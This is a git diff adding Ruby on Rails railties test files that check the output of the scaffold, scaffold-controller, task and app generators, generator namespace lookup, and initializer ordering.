+ assert_match(/params\.require\(:line_item\)\.permit\(:product_id, :cart_id\)/, content)
+ end
+ end
+
+ def test_controller_permit_polymorphic_references_attributes
+ run_generator ["LineItem", "product:references{polymorphic}"]
+
+ assert_file "app/controllers/line_items_controller.rb" do |content|
+ assert_match(/def line_item_params/, content)
+ assert_match(/params\.require\(:line_item\)\.permit\(:product_id, :product_type\)/, content)
+ end
+ end
+
+ def test_helper_are_invoked_with_a_pluralized_name
+ run_generator
+ assert_file "app/helpers/users_helper.rb", /module UsersHelper/
+ assert_file "test/helpers/users_helper_test.rb", /class UsersHelperTest < ActionView::TestCase/
+ end
+
+ def test_views_are_generated
+ run_generator
+
+ %w(index edit new show).each do |view|
+ assert_file "app/views/users/#{view}.html.erb"
+ end
+ assert_no_file "app/views/layouts/users.html.erb"
+ end
+
+ def test_functional_tests
+ run_generator ["User", "name:string", "age:integer", "organization:references{polymorphic}"]
+
+ assert_file "test/controllers/users_controller_test.rb" do |content|
+ assert_match(/class UsersControllerTest < ActionController::TestCase/, content)
+ assert_match(/test "should get index"/, content)
+ assert_match(/post :create, user: \{ age: @user\.age, name: @user\.name, organization_id: @user\.organization_id, organization_type: @user\.organization_type \}/, content)
+ assert_match(/patch :update, id: @user, user: \{ age: @user\.age, name: @user\.name, organization_id: @user\.organization_id, organization_type: @user\.organization_type \}/, content)
+ end
+ end
+
+ def test_functional_tests_without_attributes
+ run_generator ["User"]
+
+ assert_file "test/controllers/users_controller_test.rb" do |content|
+ assert_match(/class UsersControllerTest < ActionController::TestCase/, content)
+ assert_match(/test "should get index"/, content)
+ assert_match(/post :create, user: \{ \}/, content)
+ assert_match(/patch :update, id: @user, user: \{ \}/, content)
+ end
+ end
+
+ def test_skip_helper_if_required
+ run_generator ["User", "name:string", "age:integer", "--no-helper"]
+ assert_no_file "app/helpers/users_helper.rb"
+ assert_no_file "test/helpers/users_helper_test.rb"
+ end
+
+ def test_skip_layout_if_required
+ run_generator ["User", "name:string", "age:integer", "--no-layout"]
+ assert_no_file "app/views/layouts/users.html.erb"
+ end
+
+ def test_default_orm_is_used
+ run_generator ["User", "--orm=unknown"]
+
+ assert_file "app/controllers/users_controller.rb" do |content|
+ assert_match(/class UsersController < ApplicationController/, content)
+
+ assert_instance_method :index, content do |m|
+ assert_match(/@users = User\.all/, m)
+ end
+ end
+ end
+
+ def test_customized_orm_is_used
+ klass = Class.new(Rails::Generators::ActiveModel) do
+ def self.all(klass)
+ "#{klass}.find(:all)"
+ end
+ end
+
+ Unknown::Generators.const_set(:ActiveModel, klass)
+ run_generator ["User", "--orm=unknown"]
+
+ assert_file "app/controllers/users_controller.rb" do |content|
+ assert_match(/class UsersController < ApplicationController/, content)
+
+ assert_instance_method :index, content do |m|
+ assert_match(/@users = User\.find\(:all\)/, m)
+ assert_no_match(/@users = User\.all/, m)
+ end
+ end
+ ensure
+ Unknown::Generators.send :remove_const, :ActiveModel
+ end
+
+ def test_new_hash_style
+ run_generator
+ assert_file "app/controllers/users_controller.rb" do |content|
+ assert_match(/render action: 'new'/, content)
+ end
+ end
+end
diff --git a/railties/test/generators/scaffold_generator_test.rb b/railties/test/generators/scaffold_generator_test.rb
new file mode 100644
index 0000000..25f2991
--- /dev/null
+++ b/railties/test/generators/scaffold_generator_test.rb
@@ -0,0 +1,315 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/scaffold/scaffold_generator'
+
+class ScaffoldGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+ arguments %w(product_line title:string product:belongs_to user:references)
+
+ setup :copy_routes
+
+ def test_scaffold_on_invoke
+ run_generator
+
+ # Model
+ assert_file "app/models/product_line.rb", /class ProductLine < ActiveRecord::Base/
+ assert_file "test/models/product_line_test.rb", /class ProductLineTest < ActiveSupport::TestCase/
+ assert_file "test/fixtures/product_lines.yml"
+ assert_migration "db/migrate/create_product_lines.rb", /belongs_to :product, index: true/
+ assert_migration "db/migrate/create_product_lines.rb", /references :user, index: true/
+
+ # Route
+ assert_file "config/routes.rb" do |route|
+ assert_match(/resources :product_lines$/, route)
+ end
+
+ # Controller
+ assert_file "app/controllers/product_lines_controller.rb" do |content|
+ assert_match(/class ProductLinesController < ApplicationController/, content)
+
+ assert_instance_method :index, content do |m|
+ assert_match(/@product_lines = ProductLine\.all/, m)
+ end
+
+ assert_instance_method :show, content
+
+ assert_instance_method :new, content do |m|
+ assert_match(/@product_line = ProductLine\.new/, m)
+ end
+
+ assert_instance_method :edit, content
+
+ assert_instance_method :create, content do |m|
+ assert_match(/@product_line = ProductLine\.new\(product_line_params\)/, m)
+ assert_match(/@product_line\.save/, m)
+ end
+
+ assert_instance_method :update, content do |m|
+ assert_match(/@product_line\.update\(product_line_params\)/, m)
+ end
+
+ assert_instance_method :destroy, content do |m|
+ assert_match(/@product_line\.destroy/, m)
+ end
+
+ assert_instance_method :set_product_line, content do |m|
+ assert_match(/@product_line = ProductLine\.find\(params\[:id\]\)/, m)
+ end
+ end
+
+ assert_file "test/controllers/product_lines_controller_test.rb" do |test|
+ assert_match(/class ProductLinesControllerTest < ActionController::TestCase/, test)
+ assert_match(/post :create, product_line: \{ product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \}/, test)
+ assert_match(/patch :update, id: @product_line, product_line: \{ product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \}/, test)
+ end
+
+ # Views
+ %w(index edit new show _form).each do |view|
+ assert_file "app/views/product_lines/#{view}.html.erb"
+ end
+ assert_no_file "app/views/layouts/product_lines.html.erb"
+
+ # Helpers
+ assert_file "app/helpers/product_lines_helper.rb"
+ assert_file "test/helpers/product_lines_helper_test.rb"
+
+ # Assets
+ assert_file "app/assets/stylesheets/scaffold.css"
+ assert_file "app/assets/javascripts/product_lines.js"
+ assert_file "app/assets/stylesheets/product_lines.css"
+ end
+
+ def test_functional_tests_without_attributes
+ run_generator ["product_line"]
+
+ assert_file "test/controllers/product_lines_controller_test.rb" do |content|
+ assert_match(/class ProductLinesControllerTest < ActionController::TestCase/, content)
+ assert_match(/test "should get index"/, content)
+ assert_match(/post :create, product_line: \{ \}/, content)
+ assert_match(/patch :update, id: @product_line, product_line: \{ \}/, content)
+ end
+ end
+
+ def test_scaffold_on_revoke
+ run_generator
+ run_generator ["product_line"], behavior: :revoke
+
+ # Model
+ assert_no_file "app/models/product_line.rb"
+ assert_no_file "test/models/product_line_test.rb"
+ assert_no_file "test/fixtures/product_lines.yml"
+ assert_no_migration "db/migrate/create_product_lines.rb"
+
+ # Route
+ assert_file "config/routes.rb" do |route|
+ assert_no_match(/resources :product_lines$/, route)
+ end
+
+ # Controller
+ assert_no_file "app/controllers/product_lines_controller.rb"
+ assert_no_file "test/controllers/product_lines_controller_test.rb"
+
+ # Views
+ assert_no_file "app/views/product_lines"
+ assert_no_file "app/views/layouts/product_lines.html.erb"
+
+ # Helpers
+ assert_no_file "app/helpers/product_lines_helper.rb"
+ assert_no_file "test/helpers/product_lines_helper_test.rb"
+
+ # Assets
+ assert_file "app/assets/stylesheets/scaffold.css", /:visited/
+ assert_no_file "app/assets/javascripts/product_lines.js"
+ assert_no_file "app/assets/stylesheets/product_lines.css"
+ end
+
+ def test_scaffold_with_namespace_on_invoke
+ run_generator [ "admin/role", "name:string", "description:string" ]
+
+ # Model
+ assert_file "app/models/admin.rb", /module Admin/
+ assert_file "app/models/admin/role.rb", /class Admin::Role < ActiveRecord::Base/
+ assert_file "test/models/admin/role_test.rb", /class Admin::RoleTest < ActiveSupport::TestCase/
+ assert_file "test/fixtures/admin/roles.yml"
+ assert_migration "db/migrate/create_admin_roles.rb"
+
+ # Route
+ assert_file "config/routes.rb" do |route|
+ assert_match(/^ namespace :admin do\n resources :roles\n end$/, route)
+ end
+
+ # Controller
+ assert_file "app/controllers/admin/roles_controller.rb" do |content|
+ assert_match(/class Admin::RolesController < ApplicationController/, content)
+
+ assert_instance_method :index, content do |m|
+ assert_match(/@admin_roles = Admin::Role\.all/, m)
+ end
+
+ assert_instance_method :show, content
+
+ assert_instance_method :new, content do |m|
+ assert_match(/@admin_role = Admin::Role\.new/, m)
+ end
+
+ assert_instance_method :edit, content
+
+ assert_instance_method :create, content do |m|
+ assert_match(/@admin_role = Admin::Role\.new\(admin_role_params\)/, m)
+ assert_match(/@admin_role\.save/, m)
+ end
+
+ assert_instance_method :update, content do |m|
+ assert_match(/@admin_role\.update\(admin_role_params\)/, m)
+ end
+
+ assert_instance_method :destroy, content do |m|
+ assert_match(/@admin_role\.destroy/, m)
+ end
+
+ assert_instance_method :set_admin_role, content do |m|
+ assert_match(/@admin_role = Admin::Role\.find\(params\[:id\]\)/, m)
+ end
+ end
+
+ assert_file "test/controllers/admin/roles_controller_test.rb",
+ /class Admin::RolesControllerTest < ActionController::TestCase/
+
+ # Views
+ %w(index edit new show _form).each do |view|
+ assert_file "app/views/admin/roles/#{view}.html.erb"
+ end
+ assert_no_file "app/views/layouts/admin/roles.html.erb"
+
+ # Helpers
+ assert_file "app/helpers/admin/roles_helper.rb"
+ assert_file "test/helpers/admin/roles_helper_test.rb"
+
+ # Assets
+ assert_file "app/assets/stylesheets/scaffold.css", /:visited/
+ assert_file "app/assets/javascripts/admin/roles.js"
+ assert_file "app/assets/stylesheets/admin/roles.css"
+ end
+
+ def test_scaffold_with_namespace_on_revoke
+ run_generator [ "admin/role", "name:string", "description:string" ]
+ run_generator [ "admin/role" ], :behavior => :revoke
+
+ # Model
+ assert_file "app/models/admin.rb" # ( should not be remove )
+ assert_no_file "app/models/admin/role.rb"
+ assert_no_file "test/models/admin/role_test.rb"
+ assert_no_file "test/fixtures/admin/roles.yml"
+ assert_no_migration "db/migrate/create_admin_roles.rb"
+
+ # Route
+ assert_file "config/routes.rb" do |route|
+ assert_no_match(/namespace :admin do resources :roles end$/, route)
+ end
+
+ # Controller
+ assert_no_file "app/controllers/admin/roles_controller.rb"
+ assert_no_file "test/controllers/admin/roles_controller_test.rb"
+
+ # Views
+ assert_no_file "app/views/admin/roles"
+ assert_no_file "app/views/layouts/admin/roles.html.erb"
+
+ # Helpers
+ assert_no_file "app/helpers/admin/roles_helper.rb"
+ assert_no_file "test/helpers/admin/roles_helper_test.rb"
+
+ # Assets
+ assert_file "app/assets/stylesheets/scaffold.css"
+ assert_no_file "app/assets/javascripts/admin/roles.js"
+ assert_no_file "app/assets/stylesheets/admin/roles.css"
+ end
+
+ def test_scaffold_generator_on_revoke_does_not_mutilate_legacy_map_parameter
+ run_generator
+
+ # Add a |map| parameter to the routes block manually
+ route_path = File.expand_path("config/routes.rb", destination_root)
+ content = File.read(route_path).gsub(/\.routes\.draw do/) do |match|
+ "#{match} |map|"
+ end
+ File.open(route_path, "wb") { |file| file.write(content) }
+
+ run_generator ["product_line"], :behavior => :revoke
+
+ assert_file "config/routes.rb", /\.routes\.draw do\s*\|map\|\s*$/
+ end
+
+ def test_scaffold_generator_no_assets
+ run_generator [ "posts", "--no-assets" ]
+ assert_no_file "app/assets/stylesheets/scaffold.css"
+ assert_no_file "app/assets/javascripts/posts.js"
+ assert_no_file "app/assets/stylesheets/posts.css"
+ end
+
+ def test_scaffold_generator_no_stylesheets
+ run_generator [ "posts", "--no-stylesheets" ]
+ assert_no_file "app/assets/stylesheets/scaffold.css"
+ assert_file "app/assets/javascripts/posts.js"
+ assert_no_file "app/assets/stylesheets/posts.css"
+ end
+
+ def test_scaffold_generator_no_javascripts
+ run_generator [ "posts", "--no-javascripts" ]
+ assert_file "app/assets/stylesheets/scaffold.css"
+ assert_no_file "app/assets/javascripts/posts.js"
+ assert_file "app/assets/stylesheets/posts.css"
+ end
+
+ def test_scaffold_generator_outputs_error_message_on_missing_attribute_type
+ run_generator ["post", "title", "body:text", "author"]
+
+ assert_migration "db/migrate/create_posts.rb" do |m|
+ assert_method :change, m do |up|
+ assert_match(/t\.string :title/, up)
+ assert_match(/t\.text :body/, up)
+ assert_match(/t\.string :author/, up)
+ end
+ end
+ end
+
+ def test_scaffold_generator_password_digest
+ run_generator ["user", "name", "password:digest"]
+
+ assert_file "app/models/user.rb", /has_secure_password/
+
+ assert_migration "db/migrate/create_users.rb" do |m|
+ assert_method :change, m do |up|
+ assert_match(/t\.string :name/, up)
+ assert_match(/t\.string :password_digest/, up)
+ end
+ end
+
+ assert_file "app/controllers/users_controller.rb" do |content|
+ assert_instance_method :user_params, content do |m|
+ assert_match(/permit\(:name, :password, :password_confirmation\)/, m)
+ end
+ end
+
+ assert_file "app/views/users/_form.html.erb" do |content|
+ assert_match(/<%= f\.password_field :password %>/, content)
+ assert_match(/<%= f\.password_field :password_confirmation %>/, content)
+ end
+
+ assert_file "app/views/users/index.html.erb" do |content|
+ assert_no_match(/password/, content)
+ end
+
+ assert_file "app/views/users/show.html.erb" do |content|
+ assert_no_match(/password/, content)
+ end
+
+ assert_file "test/controllers/users_controller_test.rb" do |content|
+ assert_match(/password: 'secret'/, content)
+ assert_match(/password_confirmation: 'secret'/, content)
+ end
+
+ assert_file "test/fixtures/users.yml" do |content|
+ assert_match(/password_digest: <%= BCrypt::Password.create\('secret'\) %>/, content)
+ end
+ end
+end
diff --git a/railties/test/generators/shared_generator_tests.rb b/railties/test/generators/shared_generator_tests.rb
new file mode 100644
index 0000000..2724882
--- /dev/null
+++ b/railties/test/generators/shared_generator_tests.rb
@@ -0,0 +1,142 @@
+#
+# Tests, setup, and teardown common to the application and plugin generator suites.
+#
+module SharedGeneratorTests
+ def setup
+ Rails.application = TestApp::Application
+ super
+ Rails::Generators::AppGenerator.instance_variable_set('@desc', nil)
+
+ Kernel::silence_warnings do
+ Thor::Base.shell.send(:attr_accessor, :always_force)
+ @shell = Thor::Base.shell.new
+ @shell.send(:always_force=, true)
+ end
+ end
+
+ def teardown
+ super
+ Rails::Generators::AppGenerator.instance_variable_set('@desc', nil)
+ Rails.application = TestApp::Application.instance
+ end
+
+ def test_skeleton_is_created
+ run_generator
+
+ default_files.each { |path| assert_file path }
+ end
+
+ def test_generation_runs_bundle_install
+ generator([destination_root]).expects(:bundle_command).with('install').once
+ quietly { generator.invoke_all }
+ end
+
+ def test_plugin_new_generate_pretend
+ run_generator ["testapp", "--pretend"]
+ default_files.each{ |path| assert_no_file File.join("testapp",path) }
+ end
+
+ def test_invalid_database_option_raises_an_error
+ content = capture(:stderr){ run_generator([destination_root, "-d", "unknown"]) }
+ assert_match(/Invalid value for \-\-database option/, content)
+ end
+
+ def test_test_unit_is_skipped_if_required
+ run_generator [destination_root, "--skip-test-unit"]
+ assert_no_file "test"
+ end
+
+ def test_options_before_application_name_raises_an_error
+ content = capture(:stderr){ run_generator(["--pretend", destination_root]) }
+ assert_match(/Options should be given after the \w+ name. For details run: rails( plugin new)? --help\n/, content)
+ end
+
+ def test_name_collision_raises_an_error
+ reserved_words = %w[application destroy plugin runner test]
+ reserved_words.each do |reserved|
+ content = capture(:stderr){ run_generator [File.join(destination_root, reserved)] }
+ assert_match(/Invalid \w+ name #{reserved}. Please give a name which does not match one of the reserved rails words.\n/, content)
+ end
+ end
+
+ def test_name_raises_an_error_if_name_already_used_constant
+ %w{ String Hash Class Module Set Symbol }.each do |ruby_class|
+ content = capture(:stderr){ run_generator [File.join(destination_root, ruby_class)] }
+ assert_match(/Invalid \w+ name #{ruby_class}, constant #{ruby_class} is already in use. Please choose another \w+ name.\n/, content)
+ end
+ end
+
+ def test_shebang_is_added_to_rails_file
+ run_generator [destination_root, "--ruby", "foo/bar/baz", "--full"]
+ assert_file "bin/rails", /#!foo\/bar\/baz/
+ end
+
+ def test_shebang_when_is_the_same_as_default_use_env
+ run_generator [destination_root, "--ruby", Thor::Util.ruby_command, "--full"]
+ assert_file "bin/rails", /#!\/usr\/bin\/env/
+ end
+
+ def test_template_raises_an_error_with_invalid_path
+ content = capture(:stderr){ run_generator([destination_root, "-m", "non/existant/path"]) }
+ assert_match(/The template \[.*\] could not be loaded/, content)
+ assert_match(/non\/existant\/path/, content)
+ end
+
+ def test_template_is_executed_when_supplied
+ path = "https://gist.github.com/josevalim/103208/raw/"
+ template = %{ say "It works!" }
+ template.instance_eval "def read; self; end" # Make the string respond to read
+
+ generator([destination_root], template: path).expects(:open).with(path, 'Accept' => 'application/x-thor-template').returns(template)
+ assert_match(/It works!/, capture(:stdout) { generator.invoke_all })
+ end
+
+ def test_template_is_executed_when_supplied_an_https_path
+ path = "https://gist.github.com/josevalim/103208/raw/"
+ template = %{ say "It works!" }
+ template.instance_eval "def read; self; end" # Make the string respond to read
+
+ generator([destination_root], template: path).expects(:open).with(path, 'Accept' => 'application/x-thor-template').returns(template)
+ assert_match(/It works!/, capture(:stdout) { generator.invoke_all })
+ end
+
+ def test_dev_option
+ generator([destination_root], dev: true).expects(:bundle_command).with('install').once
+ quietly { generator.invoke_all }
+ rails_path = File.expand_path('../../..', Rails.root)
+ assert_file 'Gemfile', /^gem\s+["']rails["'],\s+path:\s+["']#{Regexp.escape(rails_path)}["']$/
+ end
+
+ def test_edge_option
+ generator([destination_root], edge: true).expects(:bundle_command).with('install').once
+ quietly { generator.invoke_all }
+ assert_file 'Gemfile', %r{^gem\s+["']rails["'],\s+github:\s+["']#{Regexp.escape("rails/rails")}["']$}
+ end
+
+ def test_skip_gemfile
+ generator([destination_root], skip_gemfile: true).expects(:bundle_command).never
+ quietly { generator.invoke_all }
+ assert_no_file 'Gemfile'
+ end
+
+ def test_skip_bundle
+ generator([destination_root], skip_bundle: true).expects(:bundle_command).never
+ quietly { generator.invoke_all }
+
+ # skip_bundle is only about running bundle install, ensure the Gemfile is still
+ # generated.
+ assert_file 'Gemfile'
+ end
+
+ def test_skip_git
+ run_generator [destination_root, '--skip-git', '--full']
+ assert_no_file('.gitignore')
+ assert_file('app/mailers/.keep')
+ end
+
+ def test_skip_keeps
+ run_generator [destination_root, '--skip-keeps', '--full']
+ assert_file('.gitignore')
+ assert_no_file('app/mailers/.keep')
+ end
+end
diff --git a/railties/test/generators/task_generator_test.rb b/railties/test/generators/task_generator_test.rb
new file mode 100644
index 0000000..9399be9
--- /dev/null
+++ b/railties/test/generators/task_generator_test.rb
@@ -0,0 +1,12 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/task/task_generator'
+
+class TaskGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+ arguments %w(feeds foo bar)
+
+ def test_task_is_created
+ run_generator
+ assert_file "lib/tasks/feeds.rake", /namespace :feeds/
+ end
+end
diff --git a/railties/test/generators_test.rb b/railties/test/generators_test.rb
new file mode 100644
index 0000000..361784f
--- /dev/null
+++ b/railties/test/generators_test.rb
@@ -0,0 +1,215 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/model/model_generator'
+require 'rails/generators/test_unit/model/model_generator'
+
+class GeneratorsTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+
+ def setup
+ @path = File.expand_path("lib", Rails.root)
+ $LOAD_PATH.unshift(@path)
+ end
+
+ def teardown
+ $LOAD_PATH.delete(@path)
+ end
+
+ def test_simple_invoke
+ assert File.exists?(File.join(@path, 'generators', 'model_generator.rb'))
+ TestUnit::Generators::ModelGenerator.expects(:start).with(["Account"], {})
+ Rails::Generators.invoke("test_unit:model", ["Account"])
+ end
+
+ def test_invoke_when_generator_is_not_found
+ output = capture(:stdout){ Rails::Generators.invoke :unknown }
+ assert_equal "Could not find generator unknown.\n", output
+ end
+
+ def test_help_when_a_generator_with_required_arguments_is_invoked_without_arguments
+ output = capture(:stdout){ Rails::Generators.invoke :model, [] }
+ assert_match(/Description:/, output)
+ end
+
+ def test_should_give_higher_preference_to_rails_generators
+ assert File.exists?(File.join(@path, 'generators', 'model_generator.rb'))
+ Rails::Generators::ModelGenerator.expects(:start).with(["Account"], {})
+ warnings = capture(:stderr){ Rails::Generators.invoke :model, ["Account"] }
+ assert warnings.empty?
+ end
+
+ def test_invoke_with_default_values
+ Rails::Generators::ModelGenerator.expects(:start).with(["Account"], {})
+ Rails::Generators.invoke :model, ["Account"]
+ end
+
+ def test_invoke_with_config_values
+ Rails::Generators::ModelGenerator.expects(:start).with(["Account"], behavior: :skip)
+ Rails::Generators.invoke :model, ["Account"], behavior: :skip
+ end
+
+ def test_find_by_namespace
+ klass = Rails::Generators.find_by_namespace("rails:model")
+ assert klass
+ assert_equal "rails:model", klass.namespace
+ end
+
+ def test_find_by_namespace_with_base
+ klass = Rails::Generators.find_by_namespace(:model, :rails)
+ assert klass
+ assert_equal "rails:model", klass.namespace
+ end
+
+ def test_find_by_namespace_with_context
+ klass = Rails::Generators.find_by_namespace(:test_unit, nil, :model)
+ assert klass
+ assert_equal "test_unit:model", klass.namespace
+ end
+
+ def test_find_by_namespace_with_generator_on_root
+ klass = Rails::Generators.find_by_namespace(:fixjour)
+ assert klass
+ assert_equal "fixjour", klass.namespace
+ end
+
+ def test_find_by_namespace_in_subfolder
+ klass = Rails::Generators.find_by_namespace(:fixjour, :active_record)
+ assert klass
+ assert_equal "active_record:fixjour", klass.namespace
+ end
+
+ def test_find_by_namespace_with_duplicated_name
+ klass = Rails::Generators.find_by_namespace(:foobar)
+ assert klass
+ assert_equal "foobar:foobar", klass.namespace
+ end
+
+ def test_find_by_namespace_without_base_or_context_looks_into_rails_namespace
+ assert Rails::Generators.find_by_namespace(:model)
+ end
+
+ def test_invoke_with_nested_namespaces
+ model_generator = mock('ModelGenerator') do
+ expects(:start).with(["Account"], {})
+ end
+ Rails::Generators.expects(:find_by_namespace).with('namespace', 'my:awesome').returns(model_generator)
+ Rails::Generators.invoke 'my:awesome:namespace', ["Account"]
+ end
+
+ def test_rails_generators_help_with_builtin_information
+ output = capture(:stdout){ Rails::Generators.help }
+ assert_match(/Rails:/, output)
+ assert_match(/^ model$/, output)
+ assert_match(/^ scaffold_controller$/, output)
+ assert_no_match(/^ app$/, output)
+ end
+
+ def test_rails_generators_help_does_not_include_app_nor_plugin_new
+ output = capture(:stdout){ Rails::Generators.help }
+ assert_no_match(/app/, output)
+ assert_no_match(/plugin_new/, output)
+ end
+
+ def test_rails_generators_with_others_information
+ output = capture(:stdout){ Rails::Generators.help }
+ assert_match(/Fixjour:/, output)
+ assert_match(/^ fixjour$/, output)
+ end
+
+ def test_rails_generators_does_not_show_active_record_hooks
+ output = capture(:stdout){ Rails::Generators.help }
+ assert_match(/ActiveRecord:/, output)
+ assert_match(/^ active_record:fixjour$/, output)
+ end
+
+ def test_default_banner_should_show_generator_namespace
+ klass = Rails::Generators.find_by_namespace(:foobar)
+ assert_match(/^rails generate foobar:foobar/, klass.banner)
+ end
+
+ def test_default_banner_should_not_show_rails_generator_namespace
+ klass = Rails::Generators.find_by_namespace(:model)
+ assert_match(/^rails generate model/, klass.banner)
+ end
+
+ def test_no_color_sets_proper_shell
+ Rails::Generators.no_color!
+ assert_equal Thor::Shell::Basic, Thor::Base.shell
+ ensure
+ Thor::Base.shell = Thor::Shell::Color
+ end
+
+ def test_fallbacks_for_generators_on_find_by_namespace
+ Rails::Generators.fallbacks[:remarkable] = :test_unit
+ klass = Rails::Generators.find_by_namespace(:plugin, :remarkable)
+ assert klass
+ assert_equal "test_unit:plugin", klass.namespace
+ end
+
+ def test_fallbacks_for_generators_on_find_by_namespace_with_context
+ Rails::Generators.fallbacks[:remarkable] = :test_unit
+ klass = Rails::Generators.find_by_namespace(:remarkable, :rails, :plugin)
+ assert klass
+ assert_equal "test_unit:plugin", klass.namespace
+ end
+
+ def test_fallbacks_for_generators_on_invoke
+ Rails::Generators.fallbacks[:shoulda] = :test_unit
+ TestUnit::Generators::ModelGenerator.expects(:start).with(["Account"], {})
+ Rails::Generators.invoke "shoulda:model", ["Account"]
+ end
+
+ def test_nested_fallbacks_for_generators
+ Rails::Generators.fallbacks[:super_shoulda] = :shoulda
+ TestUnit::Generators::ModelGenerator.expects(:start).with(["Account"], {})
+ Rails::Generators.invoke "super_shoulda:model", ["Account"]
+ end
+
+ def test_developer_options_are_overwritten_by_user_options
+ Rails::Generators.options[:with_options] = { generate: false }
+
+ self.class.class_eval(<<-end_eval, __FILE__, __LINE__ + 1)
+ class WithOptionsGenerator < Rails::Generators::Base
+ class_option :generate, :default => true
+ end
+ end_eval
+
+ assert_equal false, WithOptionsGenerator.class_options[:generate].default
+ ensure
+ Rails::Generators.subclasses.delete(WithOptionsGenerator)
+ end
+
+ def test_rails_root_templates
+ template = File.join(Rails.root, "lib", "templates", "active_record", "model", "model.rb")
+
+ # Create template
+ mkdir_p(File.dirname(template))
+ File.open(template, 'w'){ |f| f.write "empty" }
+
+ capture(:stdout) do
+ Rails::Generators.invoke :model, ["user"], destination_root: destination_root
+ end
+
+ assert_file "app/models/user.rb" do |content|
+ assert_equal "empty", content
+ end
+ ensure
+ rm_rf File.dirname(template)
+ end
+
+ def test_source_paths_for_not_namespaced_generators
+ mspec = Rails::Generators.find_by_namespace :fixjour
+ assert mspec.source_paths.include?(File.join(Rails.root, "lib", "templates", "fixjour"))
+ end
+
+ def test_usage_with_embedded_ruby
+ require File.expand_path("fixtures/lib/generators/usage_template/usage_template_generator", File.dirname(__FILE__))
+ output = capture(:stdout) { Rails::Generators.invoke :usage_template, ['--help'] }
+ assert_match(/:: 2 ::/, output)
+ end
+
+ def test_hide_namespace
+ assert !Rails::Generators.hidden_namespaces.include?("special:namespace")
+ Rails::Generators.hide_namespace("special:namespace")
+ assert Rails::Generators.hidden_namespaces.include?("special:namespace")
+ end
+end
diff --git a/railties/test/initializable_test.rb b/railties/test/initializable_test.rb
new file mode 100644
index 0000000..16e259b
--- /dev/null
+++ b/railties/test/initializable_test.rb
@@ -0,0 +1,238 @@
+require 'abstract_unit'
+require 'rails/initializable'
+
+module InitializableTests
+
+ class Foo
+ include Rails::Initializable
+ attr_accessor :foo, :bar
+
+ initializer :start do
+ @foo ||= 0
+ @foo += 1
+ end
+ end
+
+ class Bar < Foo
+ initializer :bar do
+ @bar ||= 0
+ @bar += 1
+ end
+ end
+
+ module Word
+ include Rails::Initializable
+
+ initializer :word do
+ $word = "bird"
+ end
+ end
+
+ class Parent
+ include Rails::Initializable
+
+ initializer :one do
+ $arr << 1
+ end
+
+ initializer :two do
+ $arr << 2
+ end
+ end
+
+ class Child < Parent
+ include Rails::Initializable
+
+ initializer :three, before: :one do
+ $arr << 3
+ end
+
+ initializer :four, after: :one, before: :two do
+ $arr << 4
+ end
+ end
+
+ class Parent
+ initializer :five, before: :one do
+ $arr << 5
+ end
+ end
+
+ class Instance
+ include Rails::Initializable
+
+ initializer :one, group: :assets do
+ $arr << 1
+ end
+
+ initializer :two do
+ $arr << 2
+ end
+
+ initializer :three, group: :all do
+ $arr << 3
+ end
+
+ initializer :four do
+ $arr << 4
+ end
+ end
+
+ class WithArgs
+ include Rails::Initializable
+
+ initializer :foo do |arg|
+ $with_arg = arg
+ end
+ end
+
+ class OverriddenInitializer
+ class MoreInitializers
+ include Rails::Initializable
+
+ initializer :startup, before: :last do
+ $arr << 3
+ end
+
+ initializer :terminate, after: :first, before: :startup do
+ $arr << two
+ end
+
+ def two
+ 2
+ end
+ end
+
+ include Rails::Initializable
+
+ initializer :first do
+ $arr << 1
+ end
+
+ initializer :last do
+ $arr << 4
+ end
+
+ def self.initializers
+ super + MoreInitializers.new.initializers
+ end
+ end
+
+ module Interdependent
+ class PluginA
+ include Rails::Initializable
+
+ initializer "plugin_a.startup" do
+ $arr << 1
+ end
+
+ initializer "plugin_a.terminate" do
+ $arr << 4
+ end
+ end
+
+ class PluginB
+ include Rails::Initializable
+
+ initializer "plugin_b.startup", after: "plugin_a.startup" do
+ $arr << 2
+ end
+
+ initializer "plugin_b.terminate", before: "plugin_a.terminate" do
+ $arr << 3
+ end
+ end
+
+ class Application
+ include Rails::Initializable
+ def self.initializers
+ PluginB.initializers + PluginA.initializers
+ end
+ end
+ end
+
+ class Basic < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ test "initializers run" do
+ foo = Foo.new
+ foo.run_initializers
+ assert_equal 1, foo.foo
+ end
+
+ test "initializers are inherited" do
+ bar = Bar.new
+ bar.run_initializers
+ assert_equal [1, 1], [bar.foo, bar.bar]
+ end
+
+ test "initializers only get run once" do
+ foo = Foo.new
+ foo.run_initializers
+ foo.run_initializers
+ assert_equal 1, foo.foo
+ end
+
+ test "creating initializer without a block raises an error" do
+ assert_raise(ArgumentError) do
+ Class.new do
+ include Rails::Initializable
+
+ initializer :foo
+ end
+ end
+ end
+ end
+
+ class BeforeAfter < ActiveSupport::TestCase
+ test "running on parent" do
+ $arr = []
+ Parent.new.run_initializers
+ assert_equal [5, 1, 2], $arr
+ end
+
+ test "running on child" do
+ $arr = []
+ Child.new.run_initializers
+ assert_equal [5, 3, 1, 4, 2], $arr
+ end
+
+ test "handles dependencies introduced before all initializers are loaded" do
+ $arr = []
+ Interdependent::Application.new.run_initializers
+ assert_equal [1, 2, 3, 4], $arr
+ end
+ end
+
+ class InstanceTest < ActiveSupport::TestCase
+ test "running locals" do
+ $arr = []
+ instance = Instance.new
+ instance.run_initializers
+ assert_equal [2, 3, 4], $arr
+ end
+
+ test "running locals with groups" do
+ $arr = []
+ instance = Instance.new
+ instance.run_initializers(:assets)
+ assert_equal [1, 3], $arr
+ end
+ end
+
+ class WithArgsTest < ActiveSupport::TestCase
+ test "running initializers with args" do
+ $with_arg = nil
+ WithArgs.new.run_initializers(:default, 'foo')
+ assert_equal 'foo', $with_arg
+ end
+ end
+
+ class OverriddenInitializerTest < ActiveSupport::TestCase
+ test "merges in the initializers from the parent in the right order" do
+ $arr = []
+ OverriddenInitializer.new.run_initializers
+ assert_equal [1, 2, 3, 4], $arr
+ end
+ end
+end
\ No newline at end of file
